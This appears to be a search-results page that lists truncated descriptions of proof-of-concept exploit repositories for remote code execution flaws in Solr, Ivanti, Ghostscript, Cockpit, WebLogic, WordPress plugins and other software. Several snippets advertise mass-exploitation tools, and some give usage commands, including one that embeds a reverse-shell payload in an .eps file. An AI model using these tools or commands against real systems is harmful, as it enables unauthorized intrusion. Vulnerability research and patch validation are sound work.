309699 matches found
solrradar
Apache Solr 대규모 정찰 및 익스플로잇 프레임워크 Velocity 템플릿 인젝션 → 원격 코드 실행 📑 목차 취약점 개요 영향받는 버전 기능 설치 사용법 개념 증명 기술 심층 분석 탐지 방법론 방어 및 완화 면책 조항 참고 자료 🔴 취약점 개요 CVE-2026-44825 는 Apache Solr에서 발생하는 심각도가 높은 취약점으로, 공격자가 Velocity 템플릿 인젝션을 통해 인증 없이 원격 코드 실행RCE을 달성할 수 있습니다. 문제점 Apache Solr의 /select 엔드포인트는 wt=velocity 매개변...
CVE-2020-16898-EXP-POC
CVE-2020-16898 CVE-2020-16898 Windows TCP/IP 원격 코드 실행 취약점 EXP&POC 재현 forforever：https://www.cnblogs.com/forforever/p/13846077.html poc CVE-2020-16898Checker-poc 명령: 관리자 권한으로 powershell/CMD 실행 Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 exp cve-2020-16898-exp2 조건: 대...
CVE-2022-22954
CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE via SSTI. CVE-2022-22954 - PoC SSTI Usage: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP,...
CVE-2024-29824
CVE-2024-29824: Ivanti EPM SQL Injection 원격 코드 실행 취약점 취약한 Ivanti EPM 장비에서 명령을 블라인드 방식으로 실행하기 위한 개념 증명 익스플로잇입니다. 블로그 게시물 심층 분석 및 침해 지표는 다음에서 확인할 수 있습니다: https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability 사용법 %...
CVE-2023-36664
CVE-2023-36664 : Ghostscript 원격 코드 실행 CVE-2023-36664에 대한 개념 증명 코드입니다. 사용법 .eps 파일에 페이로드를 삽입하려면: python3 poc.py -f "파일이름" --payload "명령어" python3 poc.py -f file.eps --payload firefox .eps 파일에 리버스 셸 페이로드를 삽입하려면: python3 poc.py -f "파일이름" --revshell --ip "IP" --port "포트" python3 poc.py -f file.eps...
CVE-2026-40473
camel-mina MinaConverter.toObjectInput 안전하지 않은 역직렬화 재현기 CVE-2026-40473 이 프로젝트는 Apache Camel의 camel-mina 구성 요소에서 CVE-2026-40473 으로 추적되는 Java 역직렬화 취약점 을 시연합니다. MinaConverter.toObjectInputIoBuffer 유형 변환기는 수신된 바이트를 ObjectInputFilter 없이 원시 ObjectInputStream으로 래핑하므로, TCP/UDP 본문을 ObjectInput으로 변환하고...
CVE-2024-38856
CVE-2024-38856 Apache Ofbiz RCE Scanner Description This script is designed to scan for the CVE-2024-38856 vulnerability in Apache Ofbiz applications, which may allow for remote code execution. It sends HTTP POST requests to specific paths within the Ofbiz application with malicious payloads to...
CVE-2026-4631-cockpit-RCE
CVE-2026-4631 — Cockpit 대량 익스플로잇 도구 인증되지 않은 원격 코드 실행 — SSH 명령줄 인자 삽입 Cockpit 버전 327359 | CVSS 9.8 중요Critical | CWE-78 Cockpit 웹 서비스cockpit-ws, 포트 9090의 CVE-2026-4631을 위한 대량 익스플로잇 도구입니다. 취약점 스캔 모드, 내장 HTTP 콜백 리스너를 통한 명령 출력 캡처 RCE 모드, --auto 모드스캔 + 익스플로잇을 한 번에, 기본 명령어 id, 포트가 없는 대상에 자동으로:9090 추가, 두...
CVE-2025-34085
CVE-2025-34085 — WordPress Simple File List Unauthenticated RCE Exploit An automated exploit and scanner for CVE-2025-34085 , a critical vulnerability in the WordPress Simple File List plugin, enabling unauthenticated remote code execution through arbitrary file upload and rename functionalities....
CVE-2024-8353-PoC
Proof-Of-Concept Code for CVE-2024-8353 This repository contains a script for exploiting the CVE-2024-8353 vulnerability in the GiveWP plugin for WordPress. This vulnerability allows unauthenticated PHP Object Injection, potentially leading to remote code execution. Overview The provided scripts...
Oracle-WebLogic-CVE-2017-10271
WebLogic Wls-wsat XMLDecoder Vulnerability Description mitre:https://vulners.com/cve/CVE-2017-3506 Early on, hackers leveraged the WebLogic WLS component vulnerability to launch large-scale remote attacks against enterprise servers, resulting in a large number of compromised servers. The number o...
sjet
sJET by siberas siberas JMX Exploitation Toolkit sJET allows an easy exploitation of insecure configured JMX services. Additional background information can be found here and here. Prerequisites Jython 2.7 Usage SJET implements a CLI interface using argparse: jython sjet.py targetHost targetPort...
CVE-2026-63077
JetBrains TeamCity에서의 인증되지 않은 원격 코드 실행 CVE-2026-63077 개요 이 스크립트는 CVE-2026-63077에 대한 개념 증명PoC 익스플로잇입니다. 조직은 이 스크립트를 사용하여 탐지 및 패치 적용 현황을 검증할 수 있습니다. CVE-2026-63077에 대한 전체 기술 분석은 Rapid7 분석 문서를 참조하십시오. 사용법 $ python3 CVE-2026-63077.py --help usage: CVE-2026-63077.py -h --cmd CMD --webroot-relative...
CVE-2026-61343-poc-librebooking-rce
CVE-2026-61343-poc-librebooking-rce Librebooking 관리자 RCE PoC CVE-2026-61343...
Safer_PoC_CVE-2022-22965
SaferPoCCVE-2022-22965 CVE-2022-22965Spring4Shell용 더 안전한 PoC 기능 tomcat 디렉터리 'webapps/ROOT'에 CVE2022-22965exploited.txt라는 파일을 생성합니다 출력 디렉터리를 변경하기 위한 선택적 사용자 인자 익스플로잇 검증은 출력 .txt 파일을 요청하여 수행됩니다. tomcat 구성에 따라 수동 검토가 필요할 수 있습니다. 반환된 문서의 콘텐츠를 확인하는 추가 검증이 포함되어 있습니다. 일부 웹 서버는 HTTP 상태 200으로 오류 페이지를 반환합니...
CVE-2025-25257
Table of Contents Overview Vulnerability Details Proof of Concept PoC Trolled2 Trolled3 Overview CVE-2025-25257 is a pre-authentication SQL Injection vulnerability in Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x. This flaw allows attackers to inject malicious SQL commands into th...
CVE-2026-66066-POC
CVE-2026-66066 PoC - 최소 Rails/libvips 실습 환경 이 저장소는 GHSA-xr9x-r78c-5hrm에 설명된 Rails Active Storage 파일 읽기-to-RCE 체인을 Rails 8.1.3영향을 받는 최신 Rails 8.1 릴리스에서 재현합니다. Rails 8.1.3.1은 패치된 대조군입니다. 여기에 설명된 일회용 로컬 실습 환경에서만 사용하십시오. HTTP 드라이버는 루프백이 아닌 대상을 거부합니다다른 대상에 대한 승인된 테스트를 위해 Python 코드를 수정하는 것은 간단하지만. 엄격한...
Oracle-WebLogic-CVE-2017-10271-master
WebLogic Wls-wsat XMLDecoder 취약점 설명 mitre:https://vulners.com/cve/CVE-2017-3506 초기에 해커들은 WebLogic WLS 구성 요소의 취약점을 이용하여 기업 서버에 대규모 원격 공격을 감행했으며, 많은 기업의 서버가 장악되었고, 피해 기업 수는 뚜렷한 증가 추세를 보여 심각한 주의가 필요합니다. 그중 CVE-2017-3506은 Oracle WebLogic의 WLS 구성 요소를 이용한 원격 코드 실행 취약점으로, 공개되지 않은 세부 사항이 있는 현장 악용 취약점이며, ...
CVE-2024-6387
CVE-2024-6387 CVE-2024-6387 is a hypothetical example, but let's assume it is a real-world vulnerability in the OpenSSH server implementation. This vulnerability could involve a buffer overflow or memory corruption issue that allows remote attackers to execute arbitrary code on the server. Here’s...